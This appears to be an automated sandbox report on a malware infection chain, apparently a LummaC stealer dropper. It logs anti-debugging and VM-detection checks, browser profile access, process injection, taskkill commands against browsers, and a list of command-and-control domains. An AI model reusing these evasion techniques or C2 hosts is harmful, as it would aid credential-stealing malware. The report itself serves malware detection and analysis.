Code function: 11_2_6CF0C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

11_2_6CF0C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\entries\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\trash16598\	Jump to behavior

Source: file.exe, 00000000.00000002.1808690806.00000000005BC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000000.1761059815.00000000005BC000.00000080.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1837193313.0000000000C9C000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000001.00000000.1789437791.0000000000C9C000.00000080.00000001.01000000.00000008.sdmp, skotes.exe, 00000005.00000000.2235969955.0000000000C9C000.00000080.00000001.01000000.00000008.sdmp, 3275f9fb1e.exe, 3275f9fb1e.exe, 0000000A.00000002.2714629201.0000000000970000.00000040.00000001.01000000.0000000E.sdmp, 7847e34378.exe, 7847e34378.exe, 0000000B.00000002.3263042293.00000000011C3000.00000040.00000001.01000000.0000000F.sdmp, 3275f9fb1e.exe, 0000000C.00000002.2851037109.0000000000970000.00000040.00000001.01000000.0000000E.sdmp, 2de5083afa.exe, 0000001E.00000002.3040190651.0000000000403000.00000040.00000001.01000000.00000017.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 1375bfecca.exe, 00000009.00000003.2513994584.0000000007A4F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: c7af53ccad.exe, 00000007.00000002.2791093014.0000000001129000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWn
Source: 59f3adca26.exe, 0000000D.00000003.2882830985.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, 59f3adca26.exe, 0000000D.00000003.2882401849.00000000011CE000.00000004.00000020.00020000.00000000.sdmp, 59f3adca26.exe, 0000000D.00000003.2883008480.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 59f3adca26.exe, 0000000D.00000003.2883413561.0000000001203000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %SystemRoot%\system32\NLAapi.dllHyper-V RAW'
Source: 05ca246288.exe, 00000026.00000002.3026868785.0000000000F5C000.00000004.00000020.00020000.00000000.sdmp, 05ca246288.exe, 00000026.00000003.3014793330.0000000000F5C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW/
Source: firefox.exe, 00000024.00000002.3040990742.000002416848A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: firefox.exe, 0000001F.00000002.3047381846.0000026EE6240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllq
Source: 3275f9fb1e.exe, 00000010.00000003.3051218491.0000000001472000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3164353692.000000000147F000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3116439607.0000000001472000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3162935939.0000000001472000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 00000010.00000003.3079090418.0000000001472000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWT
Source: 08f77951f7.exe, 00000029.00000003.3058432991.0000000005370000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
Source: c7af53ccad.exe, 00000007.00000002.2790107590.00000000010DC000.00000004.00000020.00020000.00000000.sdmp, c7af53ccad.exe, 00000007.00000002.2791093014.0000000001129000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 0000000A.00000002.2716166462.000000000106A000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 0000000A.00000003.2701984604.00000000010AB000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 0000000A.00000003.2701984604.000000000106A000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 0000000A.00000002.2716166462.00000000010AB000.00000004.00000020.00020000.00000000.sdmp, 7847e34378.exe, 0000000B.00000002.3272425703.0000000001511000.00000004.00000020.00020000.00000000.sdmp, 7847e34378.exe, 0000000B.00000002.3272425703.00000000014E7000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 0000000C.00000002.2853077303.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 0000000C.00000002.2853077303.0000000001248000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 7847e34378.exe, 0000000B.00000002.3272425703.000000000149E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: firefox.exe, 0000001F.00000002.3045983738.0000026EE5E1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 1375bfecca.exe, 00000009.00000003.2513994584.0000000007A4F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: 7847e34378.exe, 0000000B.00000002.3292319877.000000000BC23000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Y
Source: 08f77951f7.exe, 00000029.00000003.3058432991.0000000005370000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity
Source: file.exe, 00000000.00000002.1808690806.00000000005BC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000000.1761059815.00000000005BC000.00000080.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1837193313.0000000000C9C000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000001.00000000.1789437791.0000000000C9C000.00000080.00000001.01000000.00000008.sdmp, skotes.exe, 00000005.00000000.2235969955.0000000000C9C000.00000080.00000001.01000000.00000008.sdmp, 3275f9fb1e.exe, 0000000A.00000002.2714629201.0000000000970000.00000040.00000001.01000000.0000000E.sdmp, 7847e34378.exe, 0000000B.00000002.3263042293.00000000011C3000.00000040.00000001.01000000.0000000F.sdmp, 3275f9fb1e.exe, 0000000C.00000002.2851037109.0000000000970000.00000040.00000001.01000000.0000000E.sdmp, 2de5083afa.exe, 0000001E.00000002.3040190651.0000000000403000.00000040.00000001.01000000.00000017.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 3275f9fb1e.exe, 0000000C.00000002.2853077303.0000000001248000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 3275f9fb1e.exe, 0000000A.00000003.2701984604.00000000010AB000.00000004.00000020.00020000.00000000.sdmp, 3275f9fb1e.exe, 0000000A.00000002.2716166462.00000000010AB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWC
Source: firefox.exe, 0000001F.00000002.3038938549.0000026EE5AFA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWc
Source: firefox.exe, 0000001F.00000002.3047381846.0000026EE6240000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3046862449.0000024168CF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, c7af53ccad.exe, 00000006.00000000.2379071087.0000000000492000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: F7hGfsX1sRaIfeD1h5f
Source: chrome.exe, 00000025.00000002.3149574706.00000211EB438000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllWW

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04F10A12 rdtsc

0_2_04F10A12

Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe

Code function: 7_2_0043C1F0 LdrInitializeThunk,

7_2_0043C1F0

Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe

Code function: 11_2_6CF55FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

11_2_6CF55FF0

Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe

11_2_6CEF3480

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003F652B mov eax, dword ptr fs:[00000030h]	0_2_003F652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003FA302 mov eax, dword ptr fs:[00000030h]	0_2_003FA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00ADA302 mov eax, dword ptr fs:[00000030h]	1_2_00ADA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00AD652B mov eax, dword ptr fs:[00000030h]	1_2_00AD652B

Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF2B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		11_2_6CF2B66C
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Code function: 11_2_6CF2B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		11_2_6CF2B1F7

Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 7847e34378.exe PID: 4408, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7847e34378.exe PID: 704, type: MEMORYSTR

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1016970001\05ca246288.exe

Memory written: C:\Users\user\AppData\Local\Temp\1016970001\05ca246288.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: c7af53ccad.exe, 00000006.00000002.2388135550.0000000003A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: lossekniyyt.click
Source: 3275f9fb1e.exe	String found in binary or memory: sweepyribs.lat
Source: 05ca246288.exe, 00000022.00000002.2983397774.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: pancakedipyps.click

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe "C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe "C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe "C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe "C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe "C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe "C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016970001\05ca246288.exe "C:\Users\user\AppData\Local\Temp\1016970001\05ca246288.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe "C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process created: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe "C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1016970001\05ca246288.exe	Process created: C:\Users\user\AppData\Local\Temp\1016970001\05ca246288.exe "C:\Users\user\AppData\Local\Temp\1016970001\05ca246288.exe"
Source: C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe

Source: 59f3adca26.exe, 0000000D.00000000.2771790954.0000000000802000.00000002.00000001.01000000.00000010.sdmp, 59f3adca26.exe, 00000027.00000000.2973553457.0000000000802000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: 7847e34378.exe, 0000000B.00000002.3265862366.0000000001208000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: -AProgram Manager
Source: file.exe, 00000000.00000002.1809055759.0000000000602000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1837448454.0000000000CE2000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: kProgram Manager
Source: 2de5083afa.exe, 0000001E.00000002.3040190651.0000000000403000.00000040.00000001.01000000.00000017.sdmp	Binary or memory string: eProgram Manager
Source: 3275f9fb1e.exe, 3275f9fb1e.exe, 0000000A.00000002.2714629201.0000000000970000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: UProgram Manager

Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe

Code function: 11_2_6CF2B341 cpuid

11_2_6CF2B341

Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe VolumeInformation	Jump to behavior
